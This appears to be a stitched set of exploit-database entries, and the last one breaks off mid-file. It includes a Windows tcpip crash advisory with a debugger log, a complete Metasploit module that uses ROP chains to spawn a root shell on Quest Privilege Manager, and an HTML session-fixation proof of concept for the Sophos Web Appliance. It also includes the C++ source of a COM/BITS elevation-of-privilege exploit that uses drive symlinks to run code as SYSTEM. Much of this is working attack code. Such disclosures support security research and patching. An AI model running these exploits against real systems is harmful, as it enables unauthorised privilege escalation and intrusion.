In other words, if the first WORD doesn't equal 2, the function assumes that it must equal 0x17 and thus the buffer must have been verified to be at least 0x1C bytes long. However, as the dwStructType value and buffer size may be arbitrary, an out-of-bounds read of at most ~0x1C bytes may occur in the memcpy() call. An excerpt from a subsequent crash is shown below (very similar to the previous one):

--- cut ---
  DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
  N bytes of memory was allocated and more than N bytes are being referenced.
  This cannot be protected by try-except.
  When possible, the guilty driver's name (Unicode string) is printed on
  the bugcheck screen and saved in KiBugCheckDriver.
  Arguments:
  Arg1: 8b523000, memory referenced
  Arg2: 00000000, value 0 = read operation, 1 = write operation
  Arg3: 84e793fe, if non-zero, the address which referenced memory.
  Arg4: 00000000, (reserved)

  Debugging Details:
  ------------------

  [...]

  TRAP_FRAME:  88c67818 -- (.trap 0xffffffff88c67818)
  ErrCode = 00000000
  eax=84492318 ebx=94e30020 ecx=00000003 edx=00000000 esi=8b523000 edi=94e3004c
  eip=84e793fe esp=88c6788c ebp=88c67898 iopl=0         nv up ei ng nz ac po cy
  cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010293
  tcpip!TcpBindEndpoint+0x51:
  84e793fe f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
  Resetting default scope

  LAST_CONTROL_TRANSFER:  from 82730dff to 826cc9d8

  STACK_TEXT:  
  88c6736c 82730dff 00000003 fbe6b7bb 00000065 nt!RtlpBreakWithStatusInstruction
  88c673bc 827318fd 00000003 00000000 00000004 nt!KiBugCheckDebugBreak+0x1c
  88c67780 826df99d 00000050 8b523000 00000000 nt!KeBugCheck2+0x68b
  88c67800 82691f98 00000000 8b523000 00000000 nt!MmAccessFault+0x104
  88c67800 84e793fe 00000000 8b523000 00000000 nt!KiTrap0E+0xdc
  88c67898 84e7939e 95464008 8b8ca896 84492318 tcpip!TcpBindEndpoint+0x51
  88c678b8 84e7b900 95464008 88c679cc 00000000 tcpip!TcpIoControlEndpoint+0x199
  88c678cc 826dabe5 88c6795c fbe6bd33 00000000 tcpip!TcpTlEndpointIoControlEndpointCalloutRoutine+0x8b
  88c67934 84e7689e 84e7b875 88c6795c 00000000 nt!KeExpandKernelStackAndCalloutEx+0x132
  88c6796c 8b8c75ed 95464000 88c67901 88c679f8 tcpip!TcpTlEndpointIoControlEndpoint+0x67
  88c679a0 8b8c76aa 84e76837 95464008 88c679cc afd!AfdTLIoControl+0x33
  88c679b8 8b8caafa 8b54aef0 88c679cc 84492318 afd!AfdTLEndpointIoControl+0x1a
  88c679f8 8b8ca88a 84492318 8b54aef0 84492318 afd!AfdTLBind+0x4b
  88c67a40 8b8baeb8 84492318 8b54aef0 00000000 afd!AfdTLBindSecurity+0x108
  88c67aac 8b8c72bc 95463210 84492318 88c67ae0 afd!AfdBind+0x283
  88c67abc 8298b4d9 86cac1a0 84492318 95463210 afd!AfdDispatchDeviceControl+0x3b
  88c67ae0 826880e0 828807af 84492318 86cac1a0 nt!IovCallDriver+0x73
  88c67af4 828807af 00000000 84492318 844923f4 nt!IofCallDriver+0x1b
  88c67b14 82883afe 86cac1a0 95463210 00000000 nt!IopSynchronousServiceTail+0x1f8
  88c67bd0 828caab0 00000054 84492318 00000000 nt!IopXxxControlFile+0x810
  88c67c04 8268edb6 00000054 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
  88c67c04 775a6c74 00000054 00000000 00000000 nt!KiSystemServicePostCall
  0024faa4 775a542c 7570ab4d 00000054 00000000 ntdll!KiFastSystemCallRet
  0024faa8 7570ab4d 00000054 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc
  0024fb08 75d1bb75 00000054 00012003 0024fc38 KERNELBASE!DeviceIoControl+0xf6
  0024fb34 010b120b 00000054 00012003 0024fc38 kernel32!DeviceIoControlImplementation+0x80
  [...]
--- cut ---

The issue reproduces on Windows 7, and is easiest to observe with Special Pools enabled for the afd.sys module. Attached is a afdbind_tcpip_oob_read.cpp file which is the C++ source code of a proof-of-concept program for the issue.


Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42009.zip
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Quest Privilege Manager pmmasterd Buffer Overflow',
      'Description'    => %q{
        This modules exploits a buffer overflow in the Quest Privilege Manager,
        a software used to integrate Active Directory with Linux and Unix
        systems. The vulnerability exists in the pmmasterd daemon, and can only
        triggered when the host has been configured as a policy server (
        Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow
        condition exists when handling requests of type ACT_ALERT_EVENT, where
        the size of a memcpy can be controlled by the attacker. This module
        only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also
        vulnerable, but not supported by this module (a stack cookie bypass is
        required). NOTE: To use this module it is required to be able to bind a
        privileged port ( <=1024 ) as the server refuses connections coming
        from unprivileged ports, which in most situations means that root
        privileges are required.
      },
      'Author'         =>
        [
          'm0t'
        ],
      'References'     =>
        [
          ['CVE', '2017-6553'],
          ['URL', 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/']
        ],
      'Payload'        =>
        {
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic python perl ruby openssl bash-tcp'
            }
        },
      'Arch'           => ARCH_CMD,
      'Platform'       => 'unix',
      'Targets'        =>
        [
          ['Quest Privilege Manager pmmasterd 6.0.0-27 x64',
            {
              exploit: :exploit_x64,
              check: :check_x64
            }
          ],
          ['Quest Privilege Manager pmmasterd 6.0.0-27 x86',
            {
              exploit: :exploit_x86,
              check: :check_x86
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Apr 09 2017',
      'DefaultTarget'  => 0
      )
    )

    register_options(
      [
        Opt::RPORT(12345),
        Opt::CPORT(rand(1024))
      ]
    )
  end

  # definitely not stealthy! sends a crashing request, if the socket dies, or
  # the output is partial it assumes the target has crashed. Although the
  # daemon spawns a new process for each connection, the segfault will appear
  # on syslog
  def check
    unless respond_to?(target[:check], true)
      fail_with(Failure::NoTarget, "Invalid target specified")
    end

    send(target[:check])
  end

  def exploit
    unless respond_to?(target[:exploit], true)
      fail_with(Failure::NoTarget, "Invalid target specified")
    end

    request = send(target[:exploit])

    connect
    print_status("Sending trigger")
    sock.put(request)
    sock.get_once
    print_status("Sending payload")
    sock.put(payload.encoded)
    disconnect
  end

  # server should crash after parsing the packet, partial output is returned
  def check_x64
    head = [ 0x26c ].pack("N")
    head << [ 0x700 ].pack("N")
    head << [ 0x700 ].pack("N")
    head << "\x00" * 68

    body = "PingE4.6 .0.0.27"
    body << rand_text_alpha(3000)

    request = head + body

    connect
    print_status("Sending trigger")
    sock.put(request)
    res = sock.timed_read(1024, 1)
    if res.match? "Pong4$"
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Unknown
    end
  end

  # server should crash while parsing the packet, with no output
  def check_x86
    head = [ 0x26c ].pack("N")
    head << [ 0x700 ].pack("N")
    head << [ 0x700 ].pack("N")
    head << "\x00" * 68

    body = rand_text_alpha(3000)

    request = head + body

    connect
    print_status("Sending trigger")
    sock.put(request)
    begin
      sock.timed_read(1024, 1)
      return Exploit::CheckCode::Unknown
    rescue ::Exception
      return Exploit::CheckCode::Appears
    end
  end

  def exploit_x64
    head = [ 0x26c ].pack("N")
    head << [ 0x700 ].pack("N")
    head << [ 0x700 ].pack("N")
    head << "\x00" * 68

    # rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
    ropchain = [
      0x408f88,   # pop rdi, ret
      0x4FA215,   # /bin/sh
      0x40a99e,   # pop rsi ; ret
      0,          # argv  @rsi
      0x40c1a0,   # pop rax, ret
      0,          # envp @rax
      0x48c751,   # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
      0xcacc013,  # padding
      0x408a98,   # execve,
      0
    ].pack("Q*")

    body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
    body << rand_text_alpha(1600)
    body << ropchain
    body << rand_text_alpha(0x700 - body.size)

    head + body
  end

  def exploit_x86
    head = [ 0x26c ].pack("N")
    head << [ 0x108 ].pack("N")
    head << [ 0xcc ].pack("N")
    head << "\x00" * 68

    # rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
    ropchain = [
      0x8093262,  # ret
      0x73,       # cs reg
      0x804AE2C,  # execve,
      0xcacc013,  # padding
      0x8136CF0,  # /bin/sh
      0,
      0
    ].pack("V*")

    pivotback = 0x08141223  # sub esp, ebx ; retf
    writable = 0x81766f8    # writable loc

    body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
    body << rand_text_alpha(104)
    body << ropchain
    body << rand_text_alpha(0xb4 - body.size)
    body << [0x50].pack("V")
    body << rand_text_alpha(0xc4 - body.size)
    body << [pivotback].pack("V")
    body << [writable].pack("V")
    body << rand_text_alpha(0x108 - body.size)

    head + body
  end
end
            
# Exploit Title: [Sophos Secure Web Appliance Session Fixation Vulnerability]
# Date: [28/02/2017]
# Exploit Author: [SlidingWindow] , Twitter: @Kapil_Khot
# Vendor Homepage: [https://www.sophos.com/en-us/products/secure-web-gateway.aspx]
# Version: [Tested on Sophos Web Appliance version 4.3.1.1. Older versions may also be affected]
# Tested on: [Sophos Web Appliance version 4.3.1.1]
# CVE : [CVE-2017-6412]
# Vendor Security Bulletin: http://wsa.sophos.com/rn/swa/concepts/ReleaseNotes_4.3.1.2.html

==================
#Product:-
==================
Sophos Secure Web Appliance is a purpose-built secure web gateway appliance which makes web protection simple. It provides advanced protection from today’s sophisticated web malware with lightning performance that won’t slow users down. You get full control and instant insights over all web activity on your network.

==================
#Vulnerabilities:-
==================
Session Fixation Vulnerability

========================
#Vulnerability Details:-
========================

#1. Session Fixation Vulnerability (CVE-2017-6412)

A remote attacker could host a malicious page on his website that makes POST request to the victim’s Sophos Web Appliance to set the Session ID using STYLE parameter. The appliance does not validate if the Session ID sent by user/browser was issued by itself or fixed by an attacker.

Also, the appliance does not invalidate pre-login Session IDs it issued earlier once user logs in successfully. It continues to use the same pre-login Session ID instead of invalidating it and issuing a new one.

Note: An attacker would have to guess/know the IP address of the victim's device

Proof-of-Concept:

1.Visit the Sophos Login page to obtain pre-auth Session ID.

2.Host following webpage on attacking machine with the Session ID obtained in #1. It can be changed a little bit.

<html>
<body>
        <form name="Sophos_Login"action="https://192.168.253.147/index.php?c=login" method="POST" >
                <input type="hidden" name="STYLE" value="Pre-Auth Session ID">
        </form>

        <script>
                window.onload = function(){
                        document.forms['Sophos_Login'].submit()
                }
        </script>
</body>
</html>

3. Visit the above page another machine.

4. You will be redirected to the login page, however Session ID will be the same.

5. Log into the appliance and check the Session ID, it will be the same from #1.


====================================
#Vulnerability Disclosure Timeline:
====================================

28/02/2017: First email to disclose the vulnerability to the vendor
28/02/2017: Vendor requested a vulnerability report
28/02/2017: Report sent to vendor.
28/02/2017: Vendor validated the report and confirmed the vulnerability
01/03/2017: CVE MITRE assigned CVE-2017-6412 to this vulnerability
03/03/2017: Vendor confirms that the fix is ready and is in the process of testing.
09/03/2017: Vendor confirmed that the patch will be released on March 17 2017 and requested to hold off publishing the CVE until March 31 2017.
17/03/2017: Vendor released the patch: http://wsa.sophos.com/rn/swa/concepts/ReleaseNotes_4.3.1.2.html
31/03/2017: Published CVE as agreed by vendor
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1174

The attached fuzzed swf causes a crash due to heap corruption when processing the margins of a rich text field.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42018.zip
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1107

Windows: COM Aggregate Marshaler/IRemUnknown2 Type Confusion EoP
Platform: Windows 10 10586/14393 not tested 8.1 Update 2
Class: Elevation of Privilege

Summary:
When accessing an OOP COM object using IRemUnknown2 the local unmarshaled proxy can be for a different interface to that requested by QueryInterface resulting in a type confusion which can result in EoP.

Description:

Querying for an IID on a OOP (or remote) COM object calls the ORPC method RemQueryInterface or RemQueryInterface2 on the default proxy. This request is passed to the remote object which queries the implementation object and if successful returns a marshaled representation of that interface to the caller. 

The difference between RemQueryInterface and RemQueryInterface2 (RQI2) is how the objects are passed back to the caller. For RemQueryInterface the interface is passed back as a STDOBJREF which only contains the basic OXID/OID/IPID information to connect back. RemQueryInterface2 on the other hand passes back MInterfacePointer structures which is an entire OBJREF. The rationale, as far as I can tell, is that RQI2 is used for implementing in-process handlers, some interfaces can be marshaled using the standard marshaler and others can be custom marshaled. This is exposed through the Aggregate Standard Marshaler. 

The bug lies in the implementation of unpacking the results of the the RQI2 request in CStdMarshal::Finish_RemQIAndUnmarshal2. For each MInterfacePointer CStdMarshal::UnmarshalInterface is called passing the IID of the expected interface and the binary data wrapped in an IStream. CStdMarshal::UnmarshalInterface blindly unmarshals the interface, which creates a local proxy object but the proxy is created for the IID in the OBJREF stream and NOT the IID requested in RQI2. No further verification occurs at this point and the created proxy is passed back up the call stack until the received by the caller (through a void** obviously). 

If the IID in the OBJREF doesn’t match the IID requested the caller doesn’t know, if it calls any methods on the expected interface it will be calling a type confused object. This could result in crashes in the caller when it tries to access methods on the expected interface which aren’t there or are implemented differently. You could probably also return a standard OBJREF to a object local to the caller, this will result in returning the local object itself which might have more scope for exploiting the type confusion. In order to get the caller to use RQI2 we just need to pass it back an object which is custom marshaled with the Aggregate Standard Marshaler. This will set a flag on the marshaler which indicates to always use the aggregate marshaler which results in using RQI2 instead of RQI. As this class is a core component of COM it’s trusted and so isn’t affected by the EOAC_NO_CUSTOM_MARSHAL setting.

In order to exploit this a different caller needs to call QueryInterface on an object under a less trusted user's control. This could be a more privileged user (such as a sandbox broker), or a privileged service. This is pretty easy pattern to find, any method in an exposed interface on a more trusted COM object which takes an interface pointer or variant would potentially be vulnerable. For example IPersistStream takes an IStream interface pointer and will call methods on it. Another type of method is one of the various notification interfaces such as IBackgroundCopyCallback for BITS. This can probably also be used remotely if the attacker has the opportunity to inject an OBJREF stream into a connection which is set to CONNECT level security (which seems to be the default activation security). 

On to exploitation, as you well know I’ve little interest in exploiting memory corruptions, especially as this would  either this will trigger CFG on modern systems or would require a very precise lineup of expected method and actual called method which could be tricky to exploit reliably. However I think at least using this to escape a sandbox it might be your only option. So I’m not going to do that, instead I’m going to exploit it logically, the only problem is this is probably unexploitable from a sandbox (maybe) and requires a very specific type of callback into our object. 

The thing I’m going to exploit is in the handling of OLE Automation auto-proxy creation from type libraries. When you implement an Automation compatible object you could implement an explicit proxy but if you’ve already got a Type library built from your IDL then OLEAUT32 provides an alternative. If you register your interface with a Proxy CLSID for PSOAInterface or PSDispatch then instead of loading your PS DLL it will load OLEAUT32. The proxy loader code will lookup the interface entry for the passed IID to see if there’s a registered type library associated with it. If there is the code will call LoadTypeLib on that library and look up the interface entry in the type library. It will then construct a custom proxy object based on the type library information. 

The trick here is while in general we don’t control the location of the type library (so it’s probably in a location we can write to such as system32) if we can get an object unmarshaled which indicates it’s IID is one of these auto-proxy interfaces while the privileged service is impersonating us we can redirect the C: drive to anywhere we like and so get the service to load an arbitrary type library file instead of a the system one. One easy place where this exact scenario occurs is in the aforementioned BITS SetNotifyInterface function. The service first impersonates the caller before calling QI on the notify interface. We can then return an OBJREF for a automation IID even though the service asked for a BITS callback interface.

So what? Well it’s been known for almost 10 years that the Type library file format is completely unsafe. It was reported and it wasn’t changed, Tombkeeper highlighted this in his “Sexrets [sic] of LoadLibrary” presentation at CSW 2015. You can craft a TLB which will directly control EIP. Now you’d assume therefore I’m trading a unreliable way of getting EIP control for one which is much easier, if you assume that you’d be wrong. Instead I’m going to abuse the fact that TLBs can have referenced type libraries, which is used instead of embedding the type definitions inside the TLB itself. When a reference type is loaded the loader will try and look up the TLB by its GUID, if that fails it will take the filename string and pass it verbatim to LoadTypeLib. It’s a lesser know fact that this function, if it fails to find a file with the correct name will try and parse the name as a moniker. Therefore we can insert a scriptlet moniker into the type library, when the auto-proxy generator tries to find how many functions the interface implements it walks the inheritance chain, which causes the referenced TLB to be loaded, which causes a scriptlet moniker to be loaded and bound which results in arbitrary execution in a scripting language inside the privileged COM caller. 

The need to replace the C: drive is why this won’t work as a sandbox escape. Also it's a more general technique, not specific to this vulnerability as such, you could exploit it in the low-level NDR marshaler layer, however it’s rare to find something impersonating the caller during the low-level unmarshal. Type libraries are not loaded using the flag added after CVE-2015-1644 which prevent DLLs being loaded from the impersonate device map. I think you might want to fix this as well as there’s other places and scenarios this can occur, for example there’s a number of WMI services (such as anything which touches GPOs) which result in the ActiveDS com object being created, this is automation compatible and so will load a type library while impersonating the caller. Perhaps the auto-proxy generated should temporarily disable impersonation when loading the type library to prevent this happening. 

Proof of Concept:

I’ve provided a PoC as a C++ source code file. You need to compile it first. It abuses the BITS SetNotifyInterface to get a type library loaded under impersonation. We cause it to load a type library which references a scriptlet moniker which gets us code execution inside the BITS service.

1) Compile the C++ source code file.
2) Execute the PoC from a directory writable by the current user. 
3) An admin command running as local system should appear on the current desktop.

Expected Result:
The caller should realize there’s an IID mismatch and refuse to unmarshal, or at least QI the local proxy for the correct interface.

Observed Result:
The wrong proxy is created to that requested resulting in type confusion and an automation proxy being created resulting in code execution in the BITS server.
*/

// BITSTest.cpp : Defines the entry point for the console application.
//
#include <bits.h>
#include <bits4_0.h>
#include <stdio.h>
#include <tchar.h>
#include <lm.h>
#include <string>
#include <comdef.h>
#include <winternl.h>
#include <Shlwapi.h>
#include <strsafe.h>
#include <vector>

#pragma comment(lib, "shlwapi.lib")

static bstr_t IIDToBSTR(REFIID riid)
{
	LPOLESTR str;
	bstr_t ret = "Unknown";
	if (SUCCEEDED(StringFromIID(riid, &str)))
	{
		ret = str;
		CoTaskMemFree(str);
	}
	return ret;
}

GUID CLSID_AggStdMarshal2 = { 0x00000027,0x0000,0x0008,{ 0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 } };
GUID IID_ITMediaControl = { 0xc445dde8,0x5199,0x4bc7,{ 0x98,0x07,0x5f,0xfb,0x92,0xe4,0x2e,0x09 } };

class CMarshaller : public IMarshal
{
	LONG _ref_count;
	IUnknownPtr _unk;

	~CMarshaller() {}

public:

	CMarshaller(IUnknown* unk) : _ref_count(1)
	{
		_unk = unk;
	}

	virtual HRESULT STDMETHODCALLTYPE QueryInterface(
		/* [in] */ REFIID riid,
		/* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject)
	{
		*ppvObject = nullptr;
		printf("QI - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);

		if (riid == IID_IUnknown)
		{
			*ppvObject = this;
		}
		else if (riid == IID_IMarshal)
		{
			*ppvObject = static_cast<IMarshal*>(this);
		}
		else
		{
			return E_NOINTERFACE;
		}
		printf("Queried Success: %p\n", *ppvObject);
		((IUnknown*)*ppvObject)->AddRef();
		return S_OK;
	}

	virtual ULONG STDMETHODCALLTYPE AddRef(void)
	{
		printf("AddRef: %d\n", _ref_count);
		return InterlockedIncrement(&_ref_count);
	}

	virtual ULONG STDMETHODCALLTYPE Release(void)
	{
		printf("Release: %d\n", _ref_count);
		ULONG ret = InterlockedDecrement(&_ref_count);
		if (ret == 0)
		{
			printf("Release object %p\n", this);
			delete this;
		}
		return ret;
	}

	virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags,
		/* [annotation][out] */
		_Out_  CLSID *pCid)
	{
		*pCid = CLSID_AggStdMarshal2;
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags,
		/* [annotation][out] */
		_Out_  DWORD *pSize)
	{
		*pSize = 1024;
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags)
	{
		printf("Marshal Interface: %ls\n", IIDToBSTR(riid).GetBSTR());
		IID iid = riid;
		if (iid == __uuidof(IBackgroundCopyCallback2) || iid == __uuidof(IBackgroundCopyCallback))
		{
			printf("Setting bad IID\n");
			iid = IID_ITMediaControl;
		}
		HRESULT hr = CoMarshalInterface(pStm, iid, _unk, dwDestContext, pvDestContext, mshlflags);
		printf("Marshal Complete: %08X\n", hr);
		return hr;
	}

	virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][out] */
		_Outptr_  void **ppv)
	{
		return E_NOTIMPL;
	}

	virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
		/* [annotation][unique][in] */
		_In_  IStream *pStm)
	{
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
		/* [annotation][in] */
		_In_  DWORD dwReserved)
	{
		return S_OK;
	}
};

class FakeObject : public IBackgroundCopyCallback2, public IPersist
{
	LONG m_lRefCount;

	~FakeObject() {};

public:
	//Constructor, Destructor
	FakeObject() {
		m_lRefCount = 1;
	}

	//IUnknown
	HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
	{
		if (riid == __uuidof(IUnknown))
		{
			printf("Query for IUnknown\n");
			*ppvObj = this;
		}
		else if (riid == __uuidof(IBackgroundCopyCallback2))
		{
			printf("Query for IBackgroundCopyCallback2\n");
			*ppvObj = static_cast<IBackgroundCopyCallback2*>(this);
		}
		else if (riid == __uuidof(IBackgroundCopyCallback))
		{
			printf("Query for IBackgroundCopyCallback\n");
			*ppvObj = static_cast<IBackgroundCopyCallback*>(this);
		}
		else if (riid == __uuidof(IPersist))
		{
			printf("Query for IPersist\n");
			*ppvObj = static_cast<IPersist*>(this);
		}
		else if (riid == IID_ITMediaControl)
		{
			printf("Query for ITMediaControl\n");
			*ppvObj = static_cast<IPersist*>(this);
		}
		else
		{
			printf("Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
			*ppvObj = NULL;
			return E_NOINTERFACE;
		}

		((IUnknown*)*ppvObj)->AddRef();
		return NOERROR;
	}

	ULONG __stdcall AddRef()
	{
		return InterlockedIncrement(&m_lRefCount);
	}

	ULONG __stdcall Release()
	{
		ULONG  ulCount = InterlockedDecrement(&m_lRefCount);

		if (0 == ulCount)
		{
			delete this;
		}

		return ulCount;
	}

	virtual HRESULT STDMETHODCALLTYPE JobTransferred(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob)
	{
		printf("JobTransferred\n");
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE JobError(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
		/* [in] */ __RPC__in_opt IBackgroundCopyError *pError)
	{
		printf("JobError\n");
		return S_OK;
	}


	virtual HRESULT STDMETHODCALLTYPE JobModification(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
		/* [in] */ DWORD dwReserved)
	{
		printf("JobModification\n");
		return S_OK;
	}


	virtual HRESULT STDMETHODCALLTYPE FileTransferred(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
		/* [in] */ __RPC__in_opt IBackgroundCopyFile *pFile)
	{
		printf("FileTransferred\n");
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE GetClassID(
		/* [out] */ __RPC__out CLSID *pClassID)
	{
		*pClassID = GUID_NULL;
		return S_OK;
	}
};

_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob));
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager));

static HRESULT Check(HRESULT hr)
{
	if (FAILED(hr))
	{
		throw _com_error(hr);
	}
	return hr;
}

#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)

typedef NTSTATUS(NTAPI* fNtCreateSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING TargetName);
typedef VOID(NTAPI *fRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);

FARPROC GetProcAddressNT(LPCSTR lpName)
{
	return GetProcAddress(GetModuleHandleW(L"ntdll"), lpName);
}


class ScopedHandle
{
	HANDLE _h;
public:
	ScopedHandle() : _h(nullptr)
	{
	}

	ScopedHandle(ScopedHandle&) = delete;

	ScopedHandle(ScopedHandle&& h) {
		_h = h._h;
		h._h = nullptr;
	}

	~ScopedHandle()
	{
		if (!invalid())
		{
			CloseHandle(_h);
			_h = nullptr;
		}
	}

	bool invalid() {
		return (_h == nullptr) || (_h == INVALID_HANDLE_VALUE);
	}

	void set(HANDLE h)
	{
		_h = h;
	}

	HANDLE get()
	{
		return _h;
	}

	HANDLE* ptr()
	{
		return &_h;
	}


};

ScopedHandle CreateSymlink(LPCWSTR linkname, LPCWSTR targetname)
{
	fRtlInitUnicodeString pfRtlInitUnicodeString = (fRtlInitUnicodeString)GetProcAddressNT("RtlInitUnicodeString");
	fNtCreateSymbolicLinkObject pfNtCreateSymbolicLinkObject = (fNtCreateSymbolicLinkObject)GetProcAddressNT("NtCreateSymbolicLinkObject");

	OBJECT_ATTRIBUTES objAttr;
	UNICODE_STRING name;
	UNICODE_STRING target;

	pfRtlInitUnicodeString(&name, linkname);
	pfRtlInitUnicodeString(&target, targetname);

	InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);

	ScopedHandle hLink;

	NTSTATUS status = pfNtCreateSymbolicLinkObject(hLink.ptr(), SYMBOLIC_LINK_ALL_ACCESS, &objAttr, &target);
	if (status == 0)
	{
		printf("Opened Link %ls -> %ls: %p\n", linkname, targetname, hLink.get());
		return hLink;
	}
	else
	{
		printf("Error creating link %ls: %08X\n", linkname, status);
		return ScopedHandle();
	}
}


bstr_t GetSystemDrive()
{
	WCHAR windows_dir[MAX_PATH] = { 0 };

	GetWindowsDirectory(windows_dir, MAX_PATH);

	windows_dir[2] = 0;

	return windows_dir;
}

bstr_t GetDeviceFromPath(LPCWSTR lpPath)
{
	WCHAR drive[3] = { 0 };
	drive[0] = lpPath[0];
	drive[1] = lpPath[1];
	drive[2] = 0;

	WCHAR device_name[MAX_PATH] = { 0 };

	if (QueryDosDevice(drive, device_name, MAX_PATH))
	{
		return device_name;
	}
	else
	{
		printf("Error getting device for %ls\n", lpPath);
		exit(1);
	}
}

bstr_t GetSystemDevice()
{
	return GetDeviceFromPath(GetSystemDrive());
}

bstr_t GetExe()
{
	WCHAR curr_path[MAX_PATH] = { 0 };
	GetModuleFileName(nullptr, curr_path, MAX_PATH);
	return curr_path;
}

bstr_t GetExeDir()
{
	WCHAR curr_path[MAX_PATH] = { 0 };
	GetModuleFileName(nullptr, curr_path, MAX_PATH);
	PathRemoveFileSpec(curr_path);

	return curr_path;
}

bstr_t GetCurrentPath()
{
	bstr_t curr_path = GetExeDir();

	bstr_t ret = GetDeviceFromPath(curr_path);

	ret += &curr_path.GetBSTR()[2];

	return ret;
}

void TestBits()
{
	IBackgroundCopyManagerPtr pQueueMgr;

	Check(CoCreateInstance(__uuidof(BackgroundCopyManager), NULL,
		CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pQueueMgr)));

	IUnknownPtr pOuter = new CMarshaller(static_cast<IPersist*>(new FakeObject()));
	IUnknownPtr pInner;

	Check(CoGetStdMarshalEx(pOuter, SMEXF_SERVER, &pInner));

	IBackgroundCopyJobPtr pJob;
	GUID guidJob;
	Check(pQueueMgr->CreateJob(L"BitsAuthSample",
		BG_JOB_TYPE_DOWNLOAD,
		&guidJob,
		&pJob));
	
	IUnknownPtr pNotify;
	pNotify.Attach(new CMarshaller(pInner));
	{
		ScopedHandle link = CreateSymlink(L"\\??\\C:", GetCurrentPath());
		printf("Result: %08X\n", pJob->SetNotifyInterface(pNotify));
	}
	if (pJob)
	{
		pJob->Cancel();
	}
	printf("Done\n");
}

class CoInit
{
public:
	CoInit()
	{
		Check(CoInitialize(nullptr));
		Check(CoInitializeSecurity(nullptr, -1, nullptr, nullptr,
			RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_NO_CUSTOM_MARSHAL | EOAC_DYNAMIC_CLOAKING, nullptr));
	}

	~CoInit()
	{
		CoUninitialize();
	}
};

// {D487789C-32A3-4E22-B46A-C4C4C1C2D3E0}
static const GUID IID_BaseInterface =
{ 0xd487789c, 0x32a3, 0x4e22,{ 0xb4, 0x6a, 0xc4, 0xc4, 0xc1, 0xc2, 0xd3, 0xe0 } };

